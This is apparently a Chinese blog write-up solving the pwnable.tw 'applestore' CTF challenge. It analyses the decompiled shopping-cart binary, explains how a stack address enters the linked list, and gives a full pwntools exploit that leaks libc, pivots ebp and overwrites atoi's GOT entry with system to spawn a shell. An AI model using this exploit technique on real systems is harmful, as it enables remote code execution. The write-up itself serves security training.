Pwnable.tw(一)applestore

applestore

首先看下安全机制,没有开启pie,可能要使用到程序中的某个地址:

[*] '/home/nevv/Desktop/applestore.dms'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

​ 大概运行了程序后,是个类似购物车的功能,有增、删、查看的功能。

add

unsigned int add()
{
  char **v1; // [esp+1Ch] [ebp-2Ch]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Device Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  switch ( atoi(&nptr) )
  {
    case 1:
      v1 = create((int)"iPhone 6", (char *)0xC7);
      insert((int)v1);
      goto LABEL_8;
    case 2:
      v1 = create((int)"iPhone 6 Plus", (char *)0x12B);
      insert((int)v1);
      goto LABEL_8;
    case 3:
      v1 = create((int)"iPad Air 2", (char *)0x1F3);
      insert((int)v1);
      goto LABEL_8;
    case 4:
      v1 = create((int)"iPad Mini 3", (char *)0x18F);
      insert((int)v1);
      goto LABEL_8;
    case 5:
      v1 = create((int)"iPod Touch", (char *)0xC7);
      insert((int)v1);
LABEL_8:
      printf("You've put *%s* in your shopping cart.\n", *v1);
      puts("Brilliant! That's an amazing idea.");
      break;
    default:
      puts("Stop doing that. Idiot!");
      break;
  }
  return __readgsdword(0x14u) ^ v3;
}

​ 然后具体看下 create 和 insert 函数:

create & insert

char **__cdecl create(int a1, char *a2)
{
  char **v2; // eax
  char **v3; // ST1C_4

  v2 = (char **)malloc(16u);
  v3 = v2;
  v2[1] = a2;
  asprintf(v2, "%s", a1);
  v3[2] = 0;
  v3[3] = 0;
  return v3;
}

int __cdecl insert(int a1)
{
  int result; // eax
  _DWORD *i; // [esp+Ch] [ebp-4h]

  for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
    ;
  i[2] = a1;
  result = a1;
  *(_DWORD *)(a1 + 12) = i;
  return result;
}

​ 可以看出购物车是一个链表结构:

.bss:0804B064 completed_6590  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804B064                                         ; __do_global_dtors_aux+14↑w
.bss:0804B065                 align 4
.bss:0804B068                 public myCart
.bss:0804B068 myCart          db    ? ;               ; DATA XREF: insert+6↑o
.bss:0804B068                                         ; main+39↑o
.bss:0804B069                 db    ? ;
.bss:0804B06A                 db    ? ;
.bss:0804B06B                 db    ? ;
.bss:0804B06C                 db    ? ;
.bss:0804B06D                 db    ? ;
.bss:0804B06E                 db    ? ;
.bss:0804B06F                 db    ? ;
.bss:0804B070 dword_804B070   dd ?                    ; DATA XREF: delete+18↑r
.bss:0804B070                                         ; cart+61↑r
.bss:0804B074                 align 8
.bss:0804B074 _bss            ends
.bss:0804B074

delete

unsigned int delete()
{
  signed int v1; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int user_input; // [esp+18h] [ebp-30h]
  int v4; // [esp+1Ch] [ebp-2Ch]
  int v5; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  v1 = 1;
  v2 = (_DWORD *)dword_804B070;
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  user_input = atoi(&nptr);
  while ( v2 ) 
  {
    if ( v1 == user_input )
    {
      v4 = v2[2]; // next_thing
      v5 = v2[3]; // prev_thing
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4; 
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
      printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++v1;
    v2 = (_DWORD *)v2[2];
  }
  return __readgsdword(0x14u) ^ v7;
}

cart

​ dword_804B070 存储的是购物车的位置,索引0存储的是商品名字,索引1存储的是价格,23是前一个和后一个商品。

int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}

​ 返回值是打印的商品价格总和

checkout

​ 如果商品价格是7174个的话,会添加进去一个 iPhone8

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

分析

  • 购物车数据结构
struct mycart{
    0-4 name
    4-8 price
    8-12 next_thing
    12-16 prev_thing
}
  • free的时候并没有调用free函数真正释放掉空间,而是把其从双向链表中取下来,类似于unlink。
      v4 = v2[2]; // prev_thing
      v5 = v2[3]; // next_thing
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4; 
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
  • 程序没有开启pie,可能是要利用got表之类的,简单看下接收输入的函数:
char *__cdecl my_read(void *buf, size_t nbytes)
{
  char *result; // eax
  ssize_t v3; // [esp+1Ch] [ebp-Ch]

  v3 = read(0, buf, nbytes);
  if ( v3 == -1 )
    return (char *)puts("Input Error.");
  result = (char *)buf + v3;
  *((_BYTE *)buf + v3) = 0;
  return result;
}
利用点

1.这里使用的是read函数来接收输入,read函数遇到/x00是不会终止的,且atoi是以/x00作为分割符,在添加iphone8的时候,会直接把一个栈上的地址链接入链表:

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]   位置是 ebp-20h
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}
  1. 而在进入其他函数的时候,我们正好能控制对应的区域:
int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]   // 我们能够通过my_read函数控制的区域
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}
  1. 在有就是在调用cart函数的时候,我们能够控制的区域正好和添加iphone8的时候栈空间重合。

综上:

泄漏libc基地址

  • 首先构造出添加iphone8的条件
  • 然后使用cart函数构造栈上对应的prev_thing和next_thing指针为got表
  • 调用checkout函数,把iphone8链接入双向链表
  • 调用cart函数,即可泄漏出libc的基址

劫持程序控制流

  • 直接unlink的话会在system函数的位置写入值导致段错误

因此我们考虑劫持程序的ebp,在delete函数unlink后,改写其ebp的值,使其变为 atoi_got_addr + 0x22,这样的话由于程序 atoi_got_addr + 0x22 + 0xc是可写入的,因此能够绕过安全检查。同时在退出delete函数的时候,由于buf位置是从 ebp-0x22起始的,也就是atoi_got_addr,直接将其改写为system函数的地址同时使用截断传入/bin/sh字符串即可。

exp

from pwn import *

def insert(n):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(n)
    p.recvuntil("amazing idea.\n")
def delete(n):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(n)
def checkout():
    p.recvuntil("> ")
    p.sendline("5")
    p.recvuntil("> ")
    p.sendline("y")
    p.recvuntil("Maybe next time!\n")
def cart(n):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline("y\x00" + p32(n) + p32(0)*3)
    p.recvuntil("27: ")

p = remote("139.162.123.119",10104)
elf=ELF("./applestore")
elib = ELF("./libc_32.so.6")
atoi_got_addr = elf.got["atoi"]

for i in range(6):
    insert("1")
for i in range(20):
    insert("2")
    
checkout()
cart(atoi_got_addr)
atoi_addr = u32(p.recvuntil("\n")[:4])
environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
cart(environ_bss)
environ_addr = u32(p.recvuntil("\n")[:4])
system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']

ebp_addr = environ_addr - 0x104 # 调试得到的old ebp address of handle 
ebp_new_addr = ebp_addr - 0x8 # for unlink

p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("27" + p32(0) * 2 + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
p.recvuntil("> ")
p.sendline(p32(system_addr)+";/bin/sh\x00") # getshell
p.interactive()

参考链接

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,651评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,468评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,931评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,218评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,234评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,198评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,084评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,926评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,341评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,563评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,731评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,430评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,036评论 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,676评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,829评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,743评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,629评论 2 354

推荐阅读更多精彩内容